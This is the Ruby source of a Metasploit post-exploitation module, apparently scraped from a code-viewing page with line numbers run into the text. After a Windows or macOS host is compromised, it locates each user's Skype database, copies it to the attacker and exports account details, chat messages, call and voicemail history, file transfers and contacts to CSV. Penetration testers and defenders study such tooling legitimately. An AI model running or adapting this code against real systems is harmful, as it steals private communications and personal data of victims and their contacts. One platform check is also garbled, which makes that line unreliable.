Path: blob/master/modules/post/multi/gather/skype_enum.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'csv'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::OSX::System1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Multi Gather Skype User Data Enumeration',17'Description' => %q{18This module will enumerate Skype account settings, contact list, call history, chat logs,19file transfer history, and voicemail logs, saving all the data to CSV files for analysis.20},21'License' => MSF_LICENSE,22'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],23'Platform' => %w[osx win],24'SessionTypes' => [ 'meterpreter', 'shell' ],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28core_channel_close29core_channel_eof30core_channel_open31core_channel_read32stdapi_fs_search33stdapi_fs_separator34stdapi_fs_stat35]36}37},38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [],41'Reliability' => []42}43)44)45register_advanced_options(46[47# Set as an advanced option since it can only be useful in shell sessions.48OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),49]50)51end5253def run54# syinfo is only on meterpreter sessions55print_status("Running Skype enumeration against #{sysinfo['Computer']}") unless sysinfo.nil?5657# Ensure that SQLite3 gem is installed58begin59require 'sqlite3'60rescue LoadError61print_error("Failed to load sqlite3, try 'gem install sqlite3'")62return63end6465if session.platform =~ /java/66# Make sure that Java Meterpreter on anything but OSX will exit67if session.platform !~ /osx/68print_error('This session type and platform are not supported.')69return70end71# Iterate thru each user profile on as OSX System for users not in the default install72users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact73users.each do |p|74next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])7576db_in_loot = download_db(p)7778next if db_in_loot.nil?7980process_db(db_in_loot, p['name'])81end82elsif ((session.platform = - 'windows')) && (session.type == 'meterpreter')83# Iterate thru each user profile in a Windows System using Meterpreter Post API84grab_user_profiles.each do |p|85if check_skype(p['AppData'], p['UserName'])86db_in_loot = download_db(p)87process_db(db_in_loot, p['UserName'])88end89end90else91print_error('This session type and platform are not supported.')92end93end9495# Check if Skype is installed. Returns true or false.96def check_skype(path, user)97dirs = []98if session.type == 'meterpreter'99session.fs.dir.foreach(path) do |d|100dirs << d101end102else103dirs = cmd_exec("ls -m \"#{path}\"").split(', ')104end105dirs.each do |dir|106if dir =~ /Skype/107print_good("Skype account found for #{user}")108return true109end110end111print_error("Skype is not installed for #{user}")112return false113end114115# Download file using Meterpreter functionality and returns path in loot for the file116def download_db(profile)117if session.type == 'meterpreter'118if session.platform == 'osx'119file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)120else121file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)122end123else124file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact125end126127file_loc = store_loot(128'skype.config',129'binary/db',130session,131'main.db',132"Skype Configuration database for #{profile['UserName']}"133)134135file.each do |db|136if session.type == 'meterpreter'137maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"138print_status("Downloading #{maindb}")139session.fs.file.download_file(file_loc, maindb)140else141print_status("Downloading #{db}")142# Giving it 1:30 minutes to download since the file could be several MB143maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])144if maindb.nil?145print_error('Could not download the file. Set the TIMEOUT option to a higher number.')146file_loc = nil147break148end149# Saving the content as binary so it can be used150output = ::File.open(file_loc, 'wb')151maindb.each_line do |d|152output.puts(d)153end154output.close155end156print_good("Configuration database saved to #{file_loc}")157end158return file_loc159end160161# Saves rows returned from a query to a given CSV file162def save_csv(data, file)163CSV.open(file, 'w') do |csvwriter|164data.each do |record|165csvwriter << record166end167end168end169170# Extracts the data from the DB in to a CSV file171def process_db(db_path, user)172db = SQLite3::Database.new(db_path)173174# Extract information for accounts configured in Skype175print_status('Enumerating accounts')176user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",177"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",178datetime("timestamp","unixepoch")"registration_timestamp",179"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",180"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",181"birthday", "gender", "languages", "country", "province", "city", "phone_home",182"phone_office", "phone_mobile", "emails", "homepage", "about",183datetime("profile_timestamp","unixepoch"), "received_authrequest",184"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",185"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",186"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),187"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),188"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),189datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",190"verified_email", "verified_company" FROM Accounts;')191192# Check if an account exists and if it does enumerate if not exit.193if user_rows.length > 1194user_info = store_loot(195'skype.accounts',196'text/plain',197session,198'',199'skype_accounts.csv',200"Skype User #{user} Account information from configuration database."201)202print_good("Saving account information to #{user_info}")203save_csv(user_rows, user_info)204else205print_error("No skype accounts are configured for #{user}")206return207end208209# Extract chat log from the database210print_status('Extracting chat message log')211cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",212datetime("timestamp","unixepoch"), "body_xml",213"remote_id" FROM "Messages" WHERE type == 61;')214chat_log = store_loot('skype.chat',215'text/plain',216session,217'',218'skype_chatlog.csv',219"Skype User #{user} chat log from configuration database.")220221if cl_rows.length > 1222print_good("Saving chat log to #{chat_log}")223save_csv(cl_rows, chat_log)224else225print_error('No chat logs where found!')226end227228# Extract file transfer history229print_status('Extracting file transfer history')230ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",231datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),232"filepath", "filename", "filesize", "bytestransferred",233"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')234235file_transfer = store_loot('skype.filetransfer',236'text/csv',237session,238'',239'skype_filetransfer.csv',240"Skype User #{user} file transfer history.")241# Check that we have actual file transfers to report242if ft_rows.length > 1243print_good("Saving file transfer history to #{file_transfer}")244save_csv(ft_rows, file_transfer)245else246print_error('No file transfer history was found!')247end248249# Extract voicemail history250print_status('Extracting voicemail history')251vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",252"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",253"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",254"size", "path", "xmsg" FROM "Voicemails";')255256voicemail = store_loot('skype.voicemail',257'text/csv',258session,259'',260'skype_voicemail.csv',261"Skype User #{user} voicemail history.")262263if vm_rows.length > 1264print_good("Saving voicemail history to #{voicemail}")265save_csv(vm_rows, voicemail)266else267print_error('No voicemail history was found!')268end269270# Extracting call log271print_status('Extracting call log')272call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),273"topic","host_identity", "mike_status", "duration", "soundlevel", "name",274"is_incoming", "is_conference", "is_on_hold",275datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",276"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')277278call_log = store_loot('skype.callhistory',279'text/csv',280session,281'',282'skype_callhistory.csv',283"Skype User #{user} call history.")284if call_rows.length > 1285print_good("Saving call log to #{call_log}")286save_csv(call_rows, call_log)287else288print_error('No call log was found!')289end290291# Extracting contact list292print_status('Extracting contact list')293ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",294"birthday", "languages", "country", "province", "city", "phone_home",295"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",296"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",297"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",298"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",299"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",300"main_phone", "phone_home_normalized", "phone_office_normalized",301"phone_mobile_normalized", "verified_email", "verified_company"302FROM "Contacts";')303304contact_log = store_loot('skype.contactlist',305'text/csv',306session,307'',308'skype_contactlist.csv',309"Skype User #{user} contact list.")310if ct_rows.length > 1311print_good("Saving contact list to #{contact_log}")312save_csv(ct_rows, contact_log)313end314end315end316317318